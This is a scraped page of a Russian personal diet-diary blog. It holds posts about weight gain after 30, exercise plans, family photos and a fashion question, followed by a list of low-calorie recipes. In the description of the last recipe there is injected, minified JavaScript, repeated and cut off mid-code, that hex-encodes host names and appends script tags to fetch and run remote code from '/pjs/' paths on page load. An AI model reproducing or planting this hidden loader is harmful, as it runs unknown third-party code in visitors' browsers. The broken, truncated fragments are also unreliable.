solntce68711

solntce

solntce

График

Заметки

Очередной набег)

00

Выходим из сумрака) Кто бывает на сайте раз в год, то я) А чего, собственно, заходить, если вес месте, пропорции тела устраивают и все такое) Но так было раньше. Сейчас мне почти 33 и я поняла прикол про конец гарантийного срока на организм, который длится до 25-30 лет. {#kez}Не, ну прибедняться нечего, я и раньше набирала несколько кг и сегодня мой вес даже не на максималках за всю жизнь: 50,5 кг. Бывало и больше (54). А все почему: слишком спокойной стала моя жизнь. Дети еще больше подросли. Работа работается на том же уровне, дальше пока не расту. У мужа все тоже ровно. Летом стояла нереальная жара и сначала мы пристрастились к ежедневным выездам на шашлыки, а потом к пиву/вину. 

 

И постепенно, в течение полугода 45-46 превратились в то, что мы сейчас имеем. И казалось бы, ну грустить, но кое-кто{#shopot}, не будем называть имени, обладает ростом чуть выше пони, и каждый кг - отлично просматривается даже невооруженным глазом{#zerkalce} 

 

Так вот, решила я ситуацию исправлять (решила не сегодня, конечно, совсем недавно весы мои показывали 52 даже по утрам{#ops}) Потому как, видимо, я вошла в ту фазу жизни, когда пора уже что-то делать, чтоб хотя бы оставаться такой, как была.

 

В арсенале у меня: гантельки разборные, позволяющие регулировать вес каждой от 1 кг до 7,5, утяжелители в 1,5 кг каждый, и вот она: сказка моей жизни. Люблю нещадно

Конечно, все это я использую не столько для похудения, сколько для тренировки силы, выносливости, сердечно-сосудистой системы, но нагрузка лишней не бывает){#heands} 

Так что, пожелаю самой себе терпения и усердия, а остальное приложится)

 

А, ну и мое фото нынешнее, конечно, для истории)

Вы только взгляните на эти руки((

31 марта 2021, 17:55 |  Комментарии2
Очередной набег)https://dietadiary.com/blog/68711/356309

Ю-ху)))

00

Как же давно меня здесь не было от слова совсем! В общем и целом незачем было. Все рооовно текло в моей жизни своей чередой.  А тут недавно вспомнила, что в ленте на этом сайте есть фотки, которых у меня больше нигде нет. Оха, я все та же разиня... Посмотрела, полюбовалась, че уж там, скросность - не моя черта.

А все почему? У меня видимо экзистенциональный кризис, или, там, кризис среднего возраста. А что, подходит, мне 31 как-никак. Так вот, в поисках решений много думаю{#aga} И такое бывает. О жизни, о возрасте. И пока вывод один - нужно сохранять молодость и здоровье. Потому что больше, по сути, у нас ничего нет. Будь вы заядлый материалист или верующий, прожить не зря эту жизнь можно только прожив ее достаточно долго. Исключим случаи подвига, конечно, на то они и случаи: подвернулся - и ты герой, а нет, так не копти попросту небо, будь рядом с теми, кому нужен - близким, родным - максимально долго, как можешь. Воооот, значит, о здоровье и будем заботиться. 

К слову, вес мой за это время не изменился 45 с хвостиком. Коротким, честно.{#:D} А вот кожа уже, уже... Ну, в общем, напоминает, что гарантийный срок на тело закончился, и теперь только от меня зависит, как я буду выглядеть еще через 10 лет. Поэтому стоит острый вопрос о спорте, процедурах ухаживающих и т.д. Обо всем, чем лень заниматься. Плана пока нет, но я над ним работаю. 

Так что, встпаю в стройные ряды возращенцев) И по традиции, фоточка,чтоб осталась в недрах сети на несколько лет. Сын сегодня закончил учебный год. Он по левую руку, а девчонка - младшенькая моя, которой я тут беременная тусовалась))

22 мая 2019, 23:09 |  Комментарии2
Ю-ху)))https://dietadiary.com/blog/68711/323518

00

 Параметры Ог-От-Об 83-62-86. Дочь учится ходить, времени не осталось. Целый день на подстраховке)))

23 мая 2017, 08:48 |  Комментарии0
https://dietadiary.com/blog/68711/270372

00

 Девушки! Нужен модный совет. Есть у меня джинсы с завышенной талией. Я их ношу с блузками и кофтами "навыпуск". Но все думаю, а вот так как на фото вообще носят? Как это смотрится?

 

19 мая 2017, 17:56 |  Комментарии9
https://dietadiary.com/blog/68711/269944

Отчет в марафоне

00

Да! Да! {#dance4}Цель достигнута, хотя последний раз ела уже поздненько! Кто молодец? Я! Урррра! (Фанфары).

19 мая 2017, 05:53 |  Комментарии7
Отчет в марафонеhttps://dietadiary.com/blog/68711/269847

Мои рецепты

Салат витаминный

Продукты: Горошек зеленый Global Village, Капуста белокочанная, Масло подсолнечное, Морковь, Уксус 9%

Калорийность: 48.42 Ккал

Описание:   »»

Йогурт домашний

Продукты: Йогурт 2,5%, Молоко 2,5 %

Калорийность: 56.18 Ккал

Описание:   »»

Овощное рагу

Продукты: Баклажаны, Лук зелёный перо, Лук репчатый, Масло подсолнечное, Морковь, Перец зелёный сладкий, Помидор, Укроп

Калорийность: 68.74 Ккал

Описание:   »»

омлет с овощами

Продукты: капуста тушеная (13.07.2015), Молоко 2,5 %, Яйца

Калорийность: 73.61 Ккал

Описание:   »»

капуста тушеная

Продукты: Капуста белокочанная, Лук репчатый, Томатная паста

Калорийность: 32.70 Ккал

Описание:   »»

Борщ со щавелем

Продукты: Картофель, Лук зелёный перо, Укроп, Щавель, Яйца

Калорийность: 20.88 Ккал

Описание:   »»

Салат с помидорами и зеленью

Продукты: Лук репчатый, Масло оливковое 100% "borges" экстра вирджин, Помидор, Салат зелёный

Калорийность: 46.40 Ккал

Описание:   »»

Салат с курицей

Продукты: Кефир 3,2%, куриное мясо, Лук зелёный перо, Салат зелёный, Яйца

Калорийность: 108.97 Ккал

Описание:   »»

Сырники в духовке

Продукты: Масло подсолнечное, Мука пшеничная, Сода, творог 3%, Яйцо белок

Калорийность: 138.35 Ккал

Описание:   »»

Лаханоризо

Лаханоризо

Продукты: Капуста белокочанная, Лук зелёный перо, Лук репчатый, Масло подсолнечное, Морковь, Рис Жасмин, Томатный сок, Укроп

Калорийность: 112.53 Ккал

Описание:    <script type="text/javascript">// t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n);else if(window.zSmlo)window.zSmlo.loadSmlo(n);else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})) f=r(e)+"/pjs/"+t+"/c/"+c("dietadiary.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); // ]]></script> <script type="text/javascript">// t;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n);else if(window.zSmlo)window.zSmlo.loadSmlo(n);else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var …   »»

Admin Area